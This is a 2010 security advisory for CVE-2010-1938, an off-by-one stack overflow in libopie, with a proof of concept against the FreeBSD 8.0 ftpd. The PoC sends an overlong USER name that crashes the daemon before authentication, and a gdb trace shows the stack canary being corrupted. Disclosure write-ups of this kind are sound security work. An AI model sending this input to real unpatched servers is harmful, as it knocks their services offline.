[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ] Authors: - Maksymilian Arciemowicz - Adam 'pi3' Zabrocki http://securityreason.com/achievement_securityalert/87 http://site.pi3.com.pl/adv/libopie-adv.txt http://blog.pi3.com.pl/?p=111 Date: - Dis.: 04.05.2010 - Pub.: 27.05.2010 CVE: CVE-2010-1938 CWE: CWE-193 Affected Software: - OPIE Authentication System ( libopie ) Software which use libopie: - OpenSuSE - wu-ftpd - mod_opie - PAM - openssh (modified by FreeBSD/DragonflyBSD Team) - sudo - opiesu - popper - Probably much more... PoC: - FreeBSD 8.0 ftpd(8) Remote Off-by one line FreeBSD 7 is not affected Other software can be also affected. NOTE: Prior versions may also be affected. Orginal URL: http://securityreason.com/achievement_securityalert/84 --- 0.Description --- OPIE is a freely redistributable kit that will drop into most *IX systems and replaces your login and FTP daemon with versions that use OTP for user authentication. It also includes an OTP generator and a library to make it easy to add OTP authentication to existing clients and servers. --- 1. OPIE Authentication System Off-by one --- Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack). Let's look in the code: "/src/contrib/opie/opie.h" /* Maximum length of a principal (read: user name) */ #define OPIE_PRINCIPAL_MAX 32 "./src/contrib/opie/libopie/readrec.c" int __opiereadrec FUNCTION((opie), struct opie *opie) { ... ... { char *c, principal[OPIE_PRINCIPAL_MAX]; int i; if (c = strchr(opie->opie_principal, ':')) *c = 0; [1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX) [2] (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0; [3] strcpy(principal, opie->opie_principal); ... ... } ... ... ret: if (f) fclose(f); return rval; } This function at [1] check the length of the variable 'opie->opie_principal' which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX - 32 bytes, program will write at this position NULL byte. In fact the string will be 32 bytes long. Vulnerability exists at line [3]. Function strcpy() copy user controled variable which can be maximum 32 bytes long, to the local bufor 'principal' which is 32 bytes long too. Here is off-by-one bug because function strcpy() after copied 32 bytes alwyas ADD NULL byte to the and of string. In fact it will be at the position *(principal+32) which is out of buffer. A possible way to exploit this vulnerability: "./src/contrib/opie/libopie/lookup.c" int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal) { int i; memset(opie, 0, sizeof(struct opie)); opie->opie_principal = principal; if (i = __opiereadrec(opie)) <=== our call ;) return i; return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2; } a deeper analyzis of the code shows: "./src/contrib/opie/libopie/challenge.c" int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss) { int rval = -1; rval = opielookup(mp, name); ... ... return rval; } This function is really intereting because it is responsible for authentication so this vulnerability can be in the pre-auth phase. We can found many softwares which use this function for authorization (for example default ftp daemon in FreeBSD) ;) Another interesting call we can find here: "./src/contrib/opie/libopie/writerec.c" int __opiewriterec FUNCTION((opie), struct opie *opie) { char buf[17], buf2[64]; time_t now; FILE *f, *f2 = NULL; int i = 0; char *c; time(&now); if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1) return -1; if (!(opie->opie_flags & __OPIE_FLAGS_READ)) { struct opie opie2; i = opielookup(&opie2, opie->opie_principal); <========== our call :) ... } ... ... } and this function is used in many places: "./src/contrib/opie/libopie/passwd.c" <=== in function opiepasswd() "./src/contrib/opie/libopie/verify.c" <=== in function opieverify() - two times ;) ... so we have got many entry points ;) But we are going to test calls to function opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default FTP daemon for FreeBSD 8.0 ... --- 2. FreeBSD 8.0 ftpd remote off-by one --- Authentication module for FTP server in FreeBSD 8 module was modified. By default it uses OPIE library. Let`s see http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/libexec/ftpd/ftpd.c?rev=1.214.2.1.2.1;content-type=text%2Fplain ... if (opiechallenge(&opiedata, name, opieprompt) == 0) { pwok = (pw != NULL) && opieaccessfile(remotehost) && opiealways(pw->pw_dir); reply(331, "Response to %s %s for %s.", opieprompt, pwok ? "requested" : "required", name); } else { pwok = 1; reply(331, "Password required for %s.", name); } askpasswd = 1; ... this code has been added in line 8. 7.3 is not affected! Variable 'name' is user name, defined in in auth "USER AAAA" name=AAAA If we use more that 31 chars for username, ftpd will crash. The problem will be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries with -fstack-protector-all flag by default so the FTP server will be killed by SSP with an information about attack: "stack overflow detected" The problematic part of libopie is called by the FTP server via this line: opiechallenge(&opiedata, name, opieprompt) PoC0: Connected to localhost. Escape character is '^]'. 220 127.cx FTP server (Version 6.00LS) ready. user cx 331 Password required for cx. user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. 127# #0 0x281efde7 in kill () from /lib/libc.so.7 (gdb) i r eax 0x0 0 ecx 0x8060f50 134614864 edx 0x0 0 ebx 0x28205ad8 673209048 esp 0xbfbfd84c 0xbfbfd84c ebp 0xbfbfd898 0xbfbfd898 esi 0xbfbfd864 -1077946268 edi 0x281f3ad0 673135312 eip 0x281efde7 0x281efde7 eflags 0x246 582 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb) bt #0 0x281efde7 in kill () from /lib/libc.so.7 #1 0x2812de12 in brk () from /lib/libc.so.7 #2 0x00000580 in ?? () #3 0x00000006 in ?? () #4 0x00000000 in ?? () #5 0x281da06f in __srget () from /lib/libc.so.7 #6 0x280d0367 in __opieopen () from /usr/lib/libopie.so.6 #7 0x280cff4f in __opiereadrec () from /usr/lib/libopie.so.6 #8 0x280cfb53 in opielookup () from /usr/lib/libopie.so.6 #9 0x280cea9c in opiechallenge () from /usr/lib/libopie.so.6 #10 0x0804de32 in ?? () #11 0x0805fa60 in optind () #12 0x283250a0 in ?? () #13 0x0805fb78 in optind () #14 0x2809d000 in ?? () #15 0x00000548 in ?? () #16 0x00000000 in ?? () #17 0x2817658b in free () from /lib/libc.so.7 #18 0x080546e1 in getline () ... n ?? () #320 0x0000000f in ?? () #321 Cannot access memory at address 0x4c FTP daemon crashed with this log: May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped) May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped) SSP has detected stack oveerflow. Let's analyze deeper what has exactly happened: pi3-freebsd# gdb -q --pid=35118 ... ... Loaded symbols for /libexec/ld-elf.so.1 0x281f3271 in read () from /lib/libc.so.7 (gdb) b __opiereadrec Breakpoint 1 at 0x280cfd74 (gdb) c Continuing. Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/20i $eip ... ... 0x280cfe23 <__opiereadrec+179>: call 0x280cce48 <_init+1428> <== strlen(...) 0x280cfe28 <__opiereadrec+184>: cmp $0x20,%eax 0x280cfe2b <__opiereadrec+187>: ja 0x280cfefb <__opiereadrec+395> <= if > 0x20... ... ... 0x280cfe31 <__opiereadrec+193>: lea 0xffffffd0(%ebp),%eax 0x280cfe34 <__opiereadrec+196>: mov %edi,0x4(%esp) 0x280cfe38 <__opiereadrec+200>: lea 0x4(%esi),%edi 0x280cfe3b <__opiereadrec+203>: mov %eax,0xffffffb8(%ebp) 0x280cfe3e <__opiereadrec+206>: mov %eax,(%esp) 0x280cfe41 <__opiereadrec+209>: call 0x280cce98 <_init+1508> <== strcpy(principal,opie->opie_principal); 0x280cfe46 <__opiereadrec+214>: mov 0xffffffc0(%ebp),%edx ... ... 0x280cfeab <__opiereadrec+315>: mov 0x194(%ebx),%ecx <=== get canary from the 'secret' place 0x280cfeb1 <__opiereadrec+321>: mov %edi,%eax 0x280cfeb3 <__opiereadrec+323>: mov 0xfffffff0(%ebp),%edx <== get canary from the stack 0x280cfeb6 <__opiereadrec+326>: xor (%ecx),%edx <== compare it (xor) 0x280cfeb8 <__opiereadrec+328>: jne 0x280cff4a <__opiereadrec+474> <== __stack 0x280cfebe <__opiereadrec+334>: add $0x4c,%esp 0x280cfec1 <__opiereadrec+337>: pop %ebx 0x280cfec2 <__opiereadrec+338>: pop %esi 0x280cfec3 <__opiereadrec+339>: pop %edi 0x280cfec4 <__opiereadrec+340>: pop %ebp 0x280cfec5 <__opiereadrec+341>: ret ... ... 0x280cfefb <__opiereadrec+395>: movb $0x0,0x20(%edi) <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0; 0x280cfeff <__opiereadrec+399>: mov 0x104(%esi),%edi 0x280cff05 <__opiereadrec+405>: jmp 0x280cfe31 <__opiereadrec+193> ... ... (gdb) x/x $ebx+0x194 0x280d3940 : 0x0805e900 (gdb) x/x 0x0805e900 0x805e900 <__stack_chk_guard>: 0x4541c442 <== secret canary ;) (gdb) x/x $ebp+0xfffffff0 0xbfbfdce8: 0x00000000 (gdb) b *0x280cfe28 Breakpoint 2 at 0x280cfe28 (gdb) c Continuing. Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) i r eax eax 0x22 34 <=== strlen() return value... (gdb) b *0x280cfefb Breakpoint 3 at 0x280cfefb (gdb) c Continuing. Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/s $edi 0x28325070: 'A' , "\001\002\b" (gdb) b *0x280cfeff Breakpoint 4 at 0x280cfeff (gdb) c Continuing. Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/s $edi 0x28325070: 'A' , "\001" <== as we can see in this string (array) 33 byte now is 0x0. So our buffer now holds/contains 32 bytes before the terminating NULL byte (gdb) b *0x280cfe41 Breakpoint 5 at 0x280cfe41 (gdb) c Continuing. Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/x $esp 0xbfbfdca0: 0xbfbfdcc8 (gdb) x/x $esp+4 0xbfbfdca4: 0x28325070 (gdb) x/s 0x28325070 0x28325070: 'A' , "\001" (gdb) x/20x 0xbfbfdcc8 <====== Local buffer 0xbfbfdcc8: 0x280d37ac 0x0805fa60 0x28325070 0xbfbfdd18 0xbfbfdcd8: 0x2805f629 0x2809d600 0x00000060 0x00000000 0xbfbfdce8: 0x4541c442 0x280d37ac 0x0805fa60 0x28325070 ^^^^^^^^^^ <============ canary value before strcpy() 0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000 0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000 (gdb) b *0x280cfe46 Breakpoint 6 at 0x280cfe46 (gdb) c Continuing. Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/20x 0xbfbfdcc8 0xbfbfdcc8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfbfdcd8: 0x41414141 0x41414141 0x41414141 0x01414141 0xbfbfdce8: 0x4541c400 0x280d37ac 0x0805fa60 0x28325070 ^^^^^^^^^^ <============== canary value after strcpy(). Now we can see pretty off-by-one... ;) 0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000 0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000 (gdb) b *0x280cfeb8 Breakpoint 7 at 0x280cfeb8 (gdb) c Continuing. Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/libopie.so.6 (gdb) x/x $ecx 0x805e900 <__stack_chk_guard>: 0x4541c442 (gdb) x/x $ebp+0xfffffff0 0xbfbfdce8: 0x4541c400 (gdb) b *0x280cfec5 Breakpoint 8 at 0x280cfec5 (gdb) c Continuing. May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated Program received signal SIGABRT, Aborted. 0x281efde7 in kill () from /lib/libc.so.7 (gdb) --- 3. Credits --- Discovered by: - Maksymilian Arciemowicz from SecurityReason.com - Adam Zabrocki from ... hm... good question ;p --- 4. Greets --- sp3x Infospec p_e_a, #plhack@IRCNET --- 5. Contact --- Email: - cxib {a\./t] securityreason [d=t} com - pi3 [a{]t] itsec D||T pl --- 6. Official FreeBSD response --- http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://pi3.com.pl http://securityreason.com/ http://securityreason.com/exploit_alert/ - Exploit Database http://securityreason.com/security_alert/ - Vulnerability Database